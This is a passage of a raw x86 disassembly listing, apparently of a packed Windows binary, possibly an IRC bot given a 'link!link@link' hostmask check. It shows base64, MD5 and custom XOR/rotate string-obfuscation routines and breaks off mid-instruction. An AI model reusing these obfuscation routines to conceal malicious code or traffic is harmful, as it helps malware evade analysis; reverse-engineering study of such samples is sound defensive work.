sub_40A7AE mov eax, [ebp+var_38] push 0Dh and byte ptr [esi+eax+1], 0 lea eax, [ebp+var_78] push eax lea eax, [ebp+var_38] push eax push [ebp+var_78] push [ebp+var_38] call sub_4058EE add esp, 2Ch loc_40A32B: ; CODE XREF: sub_40A236+81j ; sub_40A236+88j ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_44] call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jz short loc_40A389 cmp off_418E18, ebx jz short loc_40A390 mov esi, offset off_418E18 mov edi, esi loc_40A34D: ; CODE XREF: sub_40A236+142j push dword ptr [edi] call sub_40B5E1 mov eax, [ebp+var_44] push dword ptr [edi] inc eax push eax call sub_4078A3 add esp, 0Ch test al, al jnz short loc_40A37C push dword ptr [esi] call sub_40B5A8 add esi, 4 inc ebx pop ecx mov edi, esi cmp dword ptr [esi], 0 jnz short loc_40A34D jmp short loc_40A390 ; --------------------------------------------------------------------------- loc_40A37C: ; CODE XREF: sub_40A236+12Fj push off_418E18[ebx*4] call sub_40B5A8 pop ecx loc_40A389: ; CODE XREF: sub_40A236+106j mov [ebp+var_4], 1 loc_40A390: ; CODE XREF: sub_40A236+10Ej ; sub_40A236+144j push 1 lea esi, [ebp+var_184] xor edi, edi pop eax dec esi loc_40A39C: ; CODE XREF: sub_40A236+198j mov ecx, [ebp+var_44] add ecx, eax cmp byte ptr [ecx], 21h jnz short loc_40A3B1 and [ebp+eax+var_105], 0 push 1 pop edi loc_40A3B1: ; CODE XREF: sub_40A236+16Ej test edi, edi jnz short loc_40A3BE mov dl, [ecx] mov [ebp+eax+var_105], dl loc_40A3BE: ; CODE XREF: sub_40A236+17Dj mov dl, [ecx] mov [esi+eax], dl cmp byte ptr [ecx], 0 jz short loc_40A3D0 inc eax cmp eax, 80h jl short loc_40A39C loc_40A3D0: ; CODE XREF: sub_40A236+190j lea eax, [ebp+var_84] and [ebp+var_85], 0 push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_184] and [ebp+var_105], 0 push eax lea eax, [ebp+var_104] push eax push [ebp+var_4] call sub_409918 add esp, 14h pop edi pop esi loc_40A404: ; CODE XREF: sub_40A236+4Cj ; sub_40A236+55j pop ebx leave retn sub_40A236 endp ; =============== S U B R O U T I N E ======================================= sub_40A407 proc near ; CODE XREF: kkrunchy:00411431p arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] cmp byte ptr [edi], 0 jz short loc_40A42A push esi loc_40A412: ; CODE XREF: sub_40A407+20j push edi call sub_405A76 push edi mov esi, eax call sub_40A236 cmp byte ptr [esi], 0 pop ecx pop ecx mov edi, esi jnz short loc_40A412 pop esi loc_40A42A: ; CODE XREF: sub_40A407+8j pop edi retn sub_40A407 endp ; =============== S U B R O U T I N E ======================================= sub_40A42C proc near ; CODE XREF: kkrunchy:004112B9p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_419D50 rep stosd pop edi loc_40A43A: ; CODE XREF: sub_40A42C+1Fj movzx ecx, byte_415194[eax] mov byte_419D50[ecx], al inc eax cmp eax, 40h jb short loc_40A43A retn sub_40A42C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A44E proc near ; CODE XREF: sub_407A76+24Ap ; sub_407A76+8A8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push esi call sub_4114BE ; strlen cmp eax, 2 pop ecx mov [ebp+arg_0], eax jnb short loc_40A46B xor eax, eax jmp loc_40A517 ; --------------------------------------------------------------------------- loc_40A46B: ; CODE XREF: sub_40A44E+14j push ebx push edi push 1 xor edx, edx xor ecx, ecx pop edi loc_40A474: ; CODE XREF: sub_40A44E+BFj inc edx cmp edi, [ebp+arg_0] jnb loc_40A512 movsx ebx, byte ptr [ecx+esi] mov eax, [ebp+arg_4] mov bl, byte_419D50[ebx] shl bl, 2 lea eax, [eax+edx-1] inc ecx inc edi cmp ecx, [ebp+arg_0] mov [eax], bl jnb short loc_40A512 movsx ebx, byte ptr [ecx+esi] mov bl, byte_419D50[ebx] shr bl, 4 or [eax], bl inc edx cmp edi, [ebp+arg_0] jnb short loc_40A512 movsx ebx, byte ptr [ecx+esi] mov eax, [ebp+arg_4] mov bl, byte_419D50[ebx] shl bl, 4 lea eax, [eax+edx-1] inc ecx inc edi cmp ecx, [ebp+arg_0] mov [eax], bl jnb short loc_40A512 movsx ebx, byte ptr [ecx+esi] mov bl, byte_419D50[ebx] shr bl, 2 or [eax], bl inc edx cmp edi, [ebp+arg_0] jnb short loc_40A512 movsx ebx, byte ptr [ecx+esi] mov eax, [ebp+arg_4] mov bl, byte_419D50[ebx] shl bl, 6 lea eax, [eax+edx-1] inc ecx inc edi cmp ecx, [ebp+arg_0] mov [eax], bl jnb short loc_40A512 movsx ebx, byte ptr [ecx+esi] mov bl, byte_419D50[ebx] or [eax], bl inc ecx inc edi jmp loc_40A474 ; --------------------------------------------------------------------------- loc_40A512: ; CODE XREF: sub_40A44E+2Aj ; sub_40A44E+4Bj ... pop edi lea eax, [edx-1] pop ebx loc_40A517: ; CODE XREF: sub_40A44E+18j pop esi pop ebp retn sub_40A44E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A51A proc near ; CODE XREF: sub_407A76+1CFp ; sub_407A76+80Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] mov edx, [ebp+arg_4] push 1 movzx eax, byte ptr [edi] shr eax, 2 pop esi mov al, byte_415194[eax] mov [edx], al mov cl, [edi] and cl, 3 mov eax, esi shl cl, 4 cmp [ebp+arg_8], esi jz short loc_40A5B7 loc_40A546: ; CODE XREF: sub_40A51A+9Bj movzx ebx, byte ptr [esi+edi] movzx ecx, cl shr ebx, 4 or ebx, ecx mov cl, byte_415194[ebx] mov [eax+edx], cl mov cl, [esi+edi] and cl, 0Fh inc eax shl cl, 2 inc esi cmp esi, [ebp+arg_8] jz short loc_40A5B7 movzx ebx, byte ptr [esi+edi] movzx ecx, cl shr ebx, 6 or ebx, ecx mov cl, byte_415194[ebx] mov [eax+edx], cl mov cl, [esi+edi] and ecx, 3Fh inc eax mov cl, byte_415194[ecx] mov [eax+edx], cl inc eax inc esi cmp esi, [ebp+arg_8] jz short loc_40A5C7 movzx ecx, byte ptr [esi+edi] shr ecx, 2 mov cl, byte_415194[ecx] mov [eax+edx], cl mov cl, [esi+edi] and cl, 3 inc eax shl cl, 4 inc esi cmp esi, [ebp+arg_8] jnz short loc_40A546 loc_40A5B7: ; CODE XREF: sub_40A51A+2Aj ; sub_40A51A+4Fj movzx ecx, cl or ecx, 1 mov cl, byte_415194[ecx] mov [eax+edx], cl inc eax loc_40A5C7: ; CODE XREF: sub_40A51A+7Bj and byte ptr [eax+edx], 0 pop edi pop esi pop ebx pop ebp retn sub_40A51A endp ; =============== S U B R O U T I N E ======================================= sub_40A5D0 proc near ; CODE XREF: sub_407A76+20Fp ; sub_40A236+A3p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_4114BE ; strlen pop ecx xor ecx, ecx test eax, eax jle short loc_40A5FC loc_40A5E3: ; CODE XREF: sub_40A5D0+2Aj mov dl, [ecx+esi] movsx edi, dl cmp byte_419D50[edi], 0 jnz short loc_40A5F7 cmp dl, 41h jnz short loc_40A602 loc_40A5F7: ; CODE XREF: sub_40A5D0+20j inc ecx cmp ecx, eax jl short loc_40A5E3 loc_40A5FC: ; CODE XREF: sub_40A5D0+11j push 1 pop eax loc_40A5FF: ; CODE XREF: sub_40A5D0+34j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40A602: ; CODE XREF: sub_40A5D0+25j xor eax, eax jmp short loc_40A5FF sub_40A5D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A606 proc near ; CODE XREF: kkrunchy:004112CEp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h lea eax, [ebp+var_58] push eax call sub_40A8A4 push [ebp+arg_4] lea eax, [ebp+var_58] push [ebp+arg_0] push eax call sub_40A8CC lea eax, [ebp+var_58] push eax push offset byte_419E54 call sub_40A96B add esp, 18h lea eax, byte_419E54 push 10h pop edx loc_40A63E: ; CODE XREF: sub_40A606+40j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40A63E leave retn sub_40A606 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A64A proc near ; CODE XREF: sub_407A76+15p ; sub_40D6E0+F9p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40A655: ; CODE XREF: sub_40A64A+2Dj mov cl, [esi] test ecx, ecx jz short loc_40A679 cmp ecx, 61h jb short loc_40A663 sub ecx, 20h loc_40A663: ; CODE XREF: sub_40A64A+14j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, byte_419E54[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40A655 ; --------------------------------------------------------------------------- loc_40A679: ; CODE XREF: sub_40A64A+Fj pop esi pop ebp retn sub_40A64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A67C proc near ; CODE XREF: kkrunchy:004112D6p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push esi lea eax, [ebp+var_58] push edi push eax call sub_40A8A4 push [ebp+arg_4] lea eax, [ebp+var_58] push [ebp+arg_0] push eax call sub_40A8CC lea eax, [ebp+var_58] push eax push offset dword_419E68 call sub_40A96B add esp, 18h lea esi, dword_419E68 mov edi, esi push 10h pop ecx loc_40A6B8: ; CODE XREF: sub_40A67C+44j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40A6B8 pop edi pop esi leave retn sub_40A67C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6C6 proc near ; CODE XREF: sub_40A798+Dp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push esi xor esi, esi test eax, eax mov [ebp+var_8], esi jle short loc_40A72A push ebx push edi push 10h mov edi, [ebp+arg_8] cdq pop ecx idiv ecx mov [ebp+var_1], dl shl [ebp+var_1], 2 loc_40A6EA: ; CODE XREF: sub_40A6C6+60j mov eax, [ebp+arg_0] push 10h lea ecx, [esi+eax] mov eax, esi cdq pop esi add byte ptr [ecx], 0CDh idiv esi movzx eax, byte ptr [edx+edi] push 10h pop ebx lea esi, [edx+edi] cdq idiv ebx mov al, [ecx] sub al, [edx+edi] mov [ecx], al mov dl, [esi] mov esi, [ebp+var_8] not dl xor dl, al xor dl, [ebp+var_1] inc dl inc esi cmp esi, [ebp+arg_4] mov [ecx], dl mov [ebp+var_8], esi jl short loc_40A6EA pop edi pop ebx loc_40A72A: ; CODE XREF: sub_40A6C6+10j pop esi leave retn sub_40A6C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A72D proc near ; CODE XREF: sub_40A7AE+Dp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push edi xor edi, edi test eax, eax mov [ebp+var_8], edi jle short loc_40A795 push ebx push esi push 10h mov esi, [ebp+arg_8] cdq pop ecx idiv ecx mov [ebp+var_1], dl shl [ebp+var_1], 2 loc_40A751: ; CODE XREF: sub_40A72D+64j mov eax, [ebp+arg_0] push 10h lea ecx, [edi+eax] mov eax, edi cdq pop edi mov bl, [ecx] idiv edi dec bl xor bl, [ebp+var_1] mov [ecx], bl mov al, [edx+esi] not al xor al, bl mov byte ptr [ebp+arg_8+3], al mov [ecx], al movzx eax, byte ptr [edx+esi] add edx, esi cdq idiv edi mov edi, [ebp+var_8] mov al, [edx+esi] add al, byte ptr [ebp+arg_8+3] add al, 33h inc edi cmp edi, [ebp+arg_4] mov [ecx], al mov [ebp+var_8], edi jl short loc_40A751 pop esi pop ebx loc_40A795: ; CODE XREF: sub_40A72D+10j pop edi leave retn sub_40A72D endp ; =============== S U B R O U T I N E ======================================= sub_40A798 proc near ; CODE XREF: sub_407A76+1AEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_419E68 push [esp+4+arg_4] push [esp+8+arg_0] call sub_40A6C6 add esp, 0Ch retn sub_40A798 endp ; =============== S U B R O U T I N E ======================================= sub_40A7AE proc near ; CODE XREF: sub_407A76+266p ; sub_409918+5CBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_419E68 push [esp+4+arg_4] push [esp+8+arg_0] call sub_40A72D add esp, 0Ch retn sub_40A7AE endp ; =============== S U B R O U T I N E ======================================= sub_40A7C4 proc near ; CODE XREF: sub_407A76+1BBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx mov ebx, [esp+4+arg_4] push esi push edi lea esi, [eax+4] push ebx push eax push esi call sub_4114D0 ; memcpy add esp, 0Ch call sub_40B480 xor edi, edi test ebx, ebx jle short loc_40A803 loc_40A7E8: ; CODE XREF: sub_40A7C4+3Dj mov cl, [edi+esi] push 1 add cl, al push eax xor cl, al mov [edi+esi], cl call sub_411796 ; _lrotl add eax, edi inc edi pop ecx cmp edi, ebx pop ecx jl short loc_40A7E8 loc_40A803: ; CODE XREF: sub_40A7C4+22j lea edi, [ebx-1] loc_40A806: ; CODE XREF: sub_40A7C4+5Ej cmp edi, 0FFFFFFFFh jz short loc_40A824 mov cl, [edi+esi] push 1 add cl, al push eax xor cl, al mov [edi+esi], cl call sub_411796 ; _lrotl pop ecx add eax, edi pop ecx dec edi jmp short loc_40A806 ; --------------------------------------------------------------------------- loc_40A824: ; CODE XREF: sub_40A7C4+45j mov [esi-4], eax pop edi lea eax, [ebx+4] pop esi pop ebx retn sub_40A7C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A82E proc near ; CODE XREF: sub_407A76+257p ; sub_409918+5BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx push esi mov esi, [ebp+arg_0] add eax, 0FFFFFFFCh push edi mov ebx, [esi] push eax lea eax, [esi+4] push eax push esi call sub_4117A2 ; memmove sub [ebp+arg_4], 4 xor edi, edi add esp, 0Ch cmp [ebp+arg_4], edi jle short loc_40A876 loc_40A858: ; CODE XREF: sub_40A82E+46j sub ebx, edi push 1 push ebx call sub_41179C ; _lrotr mov ebx, eax mov al, [edi+esi] xor al, bl pop ecx sub al, bl pop ecx mov [edi+esi], al inc edi cmp edi, [ebp+arg_4] jl short loc_40A858 loc_40A876: ; CODE XREF: sub_40A82E+28j mov eax, [ebp+arg_4] lea edi, [eax-1] loc_40A87C: ; CODE XREF: sub_40A82E:loc_40A89Aj cmp edi, 0FFFFFFFFh jz short loc_40A89C sub ebx, edi push 1 push ebx call sub_41179C ; _lrotr mov ebx, eax mov al, [edi+esi] xor al, bl pop ecx sub al, bl pop ecx mov [edi+esi], al dec edi loc_40A89A: ; DATA XREF: kkrunchy:00415F24o ; kkrunchy:00415F68o ... jmp short loc_40A87C ; --------------------------------------------------------------------------- loc_40A89C: ; CODE XREF: sub_40A82E+51j mov eax, [ebp+arg_4] pop edi pop esi pop ebx pop ebp retn sub_40A82E endp ; =============== S U B R O U T I N E ======================================= sub_40A8A4 proc near ; CODE XREF: sub_40A606+Ap ; sub_40A67C+Cp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword ptr [eax+10h], 0 and dword ptr [eax+14h], 0 mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_40A8A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8CC proc near ; CODE XREF: sub_40A606+19p ; sub_40A67C+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push esi mov esi, [ebp+arg_0] push edi mov eax, [esi+10h] lea ecx, [eax+ebx*8] cmp ecx, eax mov [esi+10h], ecx jnb short loc_40A8E8 inc dword ptr [esi+14h] loc_40A8E8: ; CODE XREF: sub_40A8CC+17j mov ecx, ebx shr ecx, 1Dh add [esi+14h], ecx shr eax, 3 and eax, 3Fh jz short loc_40A928 push 40h lea ecx, [eax+esi+18h] pop edi sub edi, eax cmp ebx, edi jnb short loc_40A90C push ebx push [ebp+arg_4] push ecx jmp short loc_40A95E ; --------------------------------------------------------------------------- loc_40A90C: ; CODE XREF: sub_40A8CC+37j push edi push [ebp+arg_4] push ecx call sub_4114D0 ; memcpy lea eax, [esi+18h] push eax push esi call sub_40AA38 add [ebp+arg_4], edi add esp, 14h sub ebx, edi loc_40A928: ; CODE XREF: sub_40A8CC+2Aj cmp ebx, 40h jb short loc_40A956 mov edi, ebx shr edi, 6 loc_40A932: ; CODE XREF: sub_40A8CC+88j push 40h lea eax, [esi+18h] push [ebp+arg_4] push eax call sub_4114D0 ; memcpy push [ebp+arg_4] push esi call sub_40AA38 add [ebp+arg_4], 40h add esp, 14h sub ebx, 40h dec edi jnz short loc_40A932 loc_40A956: ; CODE XREF: sub_40A8CC+5Fj push ebx add esi, 18h push [ebp+arg_4] push esi loc_40A95E: ; CODE XREF: sub_40A8CC+3Ej call sub_4114D0 ; memcpy add esp, 0Ch pop edi pop esi pop ebx pop ebp retn sub_40A8CC endp ; =============== S U B R O U T I N E ======================================= sub_40A96B proc near ; CODE XREF: sub_40A606+27p ; sub_40A67C+29p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi push 3Fh mov eax, [esi+10h] lea edi, [esi+10h] shr eax, 3 pop ecx and eax, ecx sub ecx, eax lea edx, [eax+esi+18h] mov byte ptr [edx], 80h inc edx cmp ecx, 8 jnb short loc_40A9B2 push ebx push ecx push 0 push edx call sub_4114E8 ; memset lea ebx, [esi+18h] push ebx push esi call sub_40AA38 push 38h push 0 push ebx call sub_4114E8 ; memset add esp, 20h pop ebx jmp short loc_40A9C1 ; --------------------------------------------------------------------------- loc_40A9B2: ; CODE XREF: sub_40A96B+21j add ecx, 0FFFFFFF8h push ecx push 0 push edx call sub_4114E8 ; memset add esp, 0Ch loc_40A9C1: ; CODE XREF: sub_40A96B+45j push 8 lea eax, [esi+50h] push edi push eax call sub_40A9F3 lea eax, [esi+18h] push eax push esi call sub_40AA38 push 10h push esi push [esp+24h+arg_0] call sub_40A9F3 push 4 push 0 push esi call sub_4114E8 ; memset add esp, 2Ch pop edi pop esi retn sub_40A96B endp ; =============== S U B R O U T I N E ======================================= sub_40A9F3 proc near ; CODE XREF: sub_40A96B+5Dp ; sub_40A96B+73p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp [esp+arg_8], 0 jbe short locret_40AA37 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_40AA0B: ; CODE XREF: sub_40A9F3+41j mov dl, [ecx] mov [eax-1], dl mov edx, [ecx] shr edx, 8 mov [eax], dl mov edx, [ecx] shr edx, 10h mov [eax+1], dl mov edx, [ecx] shr edx, 18h mov [eax+2], dl add eax, 4 add ecx, 4 lea edx, [esi+eax] cmp edx, [esp+4+arg_8] jb short loc_40AA0B pop esi locret_40AA37: ; CODE XREF: sub_40A9F3+5j retn sub_40A9F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA38 proc near ; CODE XREF: sub_40A8CC+4Fp ; sub_40A8CC+78p ... var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 44h push ebx push esi push edi push 40h push [ebp+arg_4] lea eax, [ebp+var_44] push eax call sub_40B2D8 mov eax, [ebp+arg_0] add esp, 0Ch mov edi, [eax+4] mov edx, [eax+0Ch] mov ebx, [eax+8] mov esi, edi mov ecx, [eax] not esi and esi, edx mov edx, ebx and edx, edi or esi, edx add esi, ecx mov ecx, [ebp+var_44] lea edx, [esi+ecx-28955B88h] mov esi, edi mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, edi mov edx, ecx and esi, ecx not edx and edx, ebx or edx, esi mov esi, [eax+0Ch] add edx, [ebp+var_40] lea esi, [esi+edx-173848AAh] mov edx, esi shr edx, 14h shl esi, 0Ch or edx, esi add edx, ecx mov esi, edx not esi and esi, edi mov edi, edx and edi, ecx or esi, edi add esi, [ebp+var_3C] lea esi, [ebx+esi+242070DBh] mov ebx, edx mov edi, esi shr edi, 0Fh shl esi, 11h or edi, esi add edi, edx mov esi, edi and ebx, edi not esi and esi, ecx mov [ebp+var_4], edi or esi, ebx mov ebx, [eax+4] add esi, [ebp+var_38] lea ebx, [ebx+esi-3E423112h] mov esi, ebx shl esi, 16h shr ebx, 0Ah or esi, ebx add esi, edi mov ebx, esi and edi, esi not ebx and ebx, edx or ebx, edi add ebx, [ebp+var_34] lea ecx, [ecx+ebx-0A83F051h] mov edi, ecx shr edi, 19h shl ecx, 7 or edi, ecx add edi, esi mov ecx, esi mov [ebp+arg_4], edi and ecx, [ebp+arg_4] not edi and edi, [ebp+var_4] or edi, ecx add edi, [ebp+var_30] lea edx, [edx+edi+4787C62Ah] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, [ebp+arg_4] mov edx, ecx mov edi, ecx and edi, [ebp+arg_4] mov ebx, ecx not edx and edx, esi or edx, edi mov edi, [ebp+var_4] add edx, [ebp+var_2C] lea edi, [edi+edx-57CFB9EDh] mov edx, edi shr edx, 0Fh shl edi, 11h or edx, edi add edx, ecx mov edi, edx and ebx, edx not edi and edi, [ebp+arg_4] or edi, ebx mov ebx, edx add edi, [ebp+var_28] lea esi, [esi+edi-2B96AFFh] mov edi, esi shl edi, 16h shr esi, 0Ah or edi, esi add edi, edx mov esi, edi and ebx, edi not esi and esi, ecx mov [ebp+arg_0], edi or esi, ebx mov ebx, [ebp+arg_4] add esi, [ebp+var_24] lea ebx, [ebx+esi+698098D8h] mov esi, ebx shr esi, 19h shl ebx, 7 or esi, ebx add esi, edi mov ebx, esi and edi, esi not ebx and ebx, edx or ebx, edi add ebx, [ebp+var_20] lea ecx, [ecx+ebx-74BB0851h] mov edi, ecx shr edi, 14h shl ecx, 0Ch or edi, ecx add edi, esi mov ecx, edi mov ebx, edi not ecx and ecx, [ebp+arg_0] and ebx, esi or ecx, ebx add ecx, [ebp+var_1C] lea edx, [edx+ecx-0A44Fh] mov ebx, edx shr ebx, 0Fh shl edx, 11h or ebx, edx add ebx, edi mov ecx, ebx mov edx, edi not ecx and ecx, esi and edx, ebx or ecx, edx mov edx, [ebp+arg_0] add ecx, [ebp+var_18] mov [ebp+var_4], ebx lea edx, [edx+ecx-76A32842h] mov ecx, edx shl ecx, 16h shr edx, 0Ah or ecx, edx add ecx, ebx mov edx, ecx and ebx, ecx not edx and edx, edi or edx, ebx add edx, [ebp+var_14] lea esi, [esi+edx+6B901122h] mov edx, esi shr edx, 19h shl esi, 7 or edx, esi mov esi, ecx add edx, ecx mov [ebp+arg_4], edx and esi, [ebp+arg_4] not edx and edx, [ebp+var_4] or edx, esi add edx, [ebp+var_10] lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi mov edi, ecx add edx, [ebp+arg_4] mov [ebp+arg_0], edx mov esi, edx not [ebp+arg_0] and esi, [ebp+arg_4] and edi, [ebp+arg_0] mov ebx, edx or esi, edi mov edi, [ebp+var_4] add esi, [ebp+var_C] lea edi, [edi+esi-5986BC72h] mov esi, edi shr esi, 0Fh shl edi, 11h or esi, edi add esi, edx mov [ebp+var_4], esi and ebx, esi not [ebp+var_4] mov edi, [ebp+var_4] and edi, [ebp+arg_4] or edi, ebx mov ebx, esi add edi, [ebp+var_8] and ebx, [ebp+arg_0] lea ecx, [ecx+edi+49B40821h] mov edi, ecx shl edi, 16h shr ecx, 0Ah or edi, ecx mov ecx, edx add edi, esi and ecx, edi or ecx, ebx mov ebx, [ebp+arg_4] add ecx, [ebp+var_40] lea ecx, [ebx+ecx-9E1DA9Eh] mov ebx, ecx shr ebx, 1Bh shl ecx, 5 or ebx, ecx mov ecx, [ebp+var_4] add ebx, edi and ecx, edi mov [ebp+arg_4], ebx mov [ebp+arg_0], ecx mov ecx, esi and ecx, ebx mov ebx, ecx mov ecx, [ebp+arg_0] or ecx, ebx add ecx, [ebp+var_2C] lea edx, [edx+ecx-3FBF4CC0h] mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx mov edx, edi add ecx, [ebp+arg_4] not edx and edx, [ebp+arg_4] mov ebx, ecx and ebx, edi or edx, ebx add edx, [ebp+var_18] lea esi, [esi+edx+265E5A51h] mov edx, esi shr edx, 12h shl esi, 0Eh or edx, esi mov esi, [ebp+arg_4] add edx, ecx mov [ebp+var_4], edx and edx, [ebp+arg_4] not esi and esi, ecx mov ebx, [ebp+var_4] or esi, edx add esi, [ebp+var_44] lea edi, [edi+esi-16493856h] mov esi, ecx mov edx, edi shl edx, 14h shr edi, 0Ch or edx, edi mov edi, ecx add edx, ebx not esi and esi, ebx and edi, edx or esi, edi mov edi, [ebp+arg_4] add esi, [ebp+var_30] lea esi, [edi+esi-29D0EFA3h] mov edi, esi shr edi, 1Bh shl esi, 5 or edi, esi mov esi, ebx add edi, edx mov [ebp+arg_4], edi mov edi, ebx and edi, [ebp+arg_4] not esi and esi, edx or esi, edi add esi, [ebp+var_1C] lea ecx, [ecx+esi+2441453h] mov esi, ecx shr esi, 17h shl ecx, 9 or esi, ecx mov ecx, edx add esi, [ebp+arg_4] not ecx and ecx, [ebp+arg_4] mov edi, esi and edi, edx or ecx, edi add ecx, [ebp+var_8] lea edi, [ebx+ecx-275E197Fh] mov ecx, edi shr ecx, 12h shl edi, 0Eh or ecx, edi mov edi, [ebp+arg_4] add ecx, esi mov ebx, ecx and ebx, [ebp+arg_4] not edi and edi, esi or edi, ebx mov ebx, esi add edi, [ebp+var_34] lea edx, [edx+edi-182C0438h] mov edi, edx shl edi, 14h shr edx, 0Ch or edi, edx mov edx, esi add edi, ecx not edx and edx, ecx and ebx, edi or edx, ebx mov ebx, [ebp+arg_4] add edx, [ebp+var_20] mov [ebp+arg_0], edi lea ebx, [ebx+edx+21E1CDE6h] mov edx, ebx shr edx, 1Bh shl ebx, 5 or edx, ebx mov ebx, ecx not ebx add edx, edi and ebx, edi mov edi, ecx and edi, edx or ebx, edi add ebx, [ebp+var_C] lea esi, [esi+ebx-3CC8F82Ah] mov edi, esi shr edi, 17h shl esi, 9 or edi, esi mov esi, [ebp+arg_0] add edi, edx mov ebx, edi and ebx, [ebp+arg_0] not esi and esi, edx or esi, ebx add esi, [ebp+var_38] lea ecx, [ecx+esi-0B2AF279h] mov esi, ecx shr esi, 12h shl ecx, 0Eh or esi, ecx mov ecx, edx add esi, edi not ecx mov ebx, esi and ecx, edi and ebx, edx or ecx, ebx mov ebx, [ebp+arg_0] add ecx, [ebp+var_24] lea ecx, [ebx+ecx+455A14EDh] mov ebx, ecx shl ebx, 14h shr ecx, 0Ch or ebx, ecx mov ecx, edi add ebx, esi mov [ebp+arg_0], ebx mov ebx, edi and ebx, [ebp+arg_0] not ecx and ecx, esi or ecx, ebx add ecx, [ebp+var_10] lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, esi add ecx, [ebp+arg_0] mov [ebp+arg_4], ecx mov ecx, esi and edx, [ebp+arg_4] mov ebx, [ebp+arg_4] not ecx and ecx, [ebp+arg_0] or ecx, edx mov edx, [ebp+arg_0] add ecx, [ebp+var_3C] not edx and edx, ebx lea edi, [edi+ecx-3105C08h] mov ecx, edi shr ecx, 17h shl edi, 9 or ecx, edi add ecx, ebx mov edi, ecx and edi, [ebp+arg_0] or edx, edi add edx, [ebp+var_28] lea esi, [esi+edx+676F02D9h] mov edx, esi shr edx, 12h shl esi, 0Eh or edx, esi mov esi, ebx add edx, ecx not esi mov edi, edx and esi, ecx and edi, ebx or esi, edi mov edi, [ebp+arg_0] add esi, [ebp+var_14] lea edi, [edi+esi-72D5B376h] mov esi, edi shl esi, 14h shr edi, 0Ch or esi, edi mov edi, ecx add esi, edx xor edi, edx xor edi, esi add edi, [ebp+var_30] lea ebx, [ebx+edi-5C6BEh] mov edi, ebx shr edi, 1Ch shl ebx, 4 or edi, ebx mov ebx, edx add edi, esi xor ebx, esi xor ebx, edi add ebx, [ebp+var_24] lea ecx, [ecx+ebx-788E097Fh] mov ebx, ecx shr ebx, 15h shl ecx, 0Bh or ebx, ecx add ebx, edi mov ecx, ebx xor ecx, esi xor ecx, edi add ecx, [ebp+var_18] lea edx, 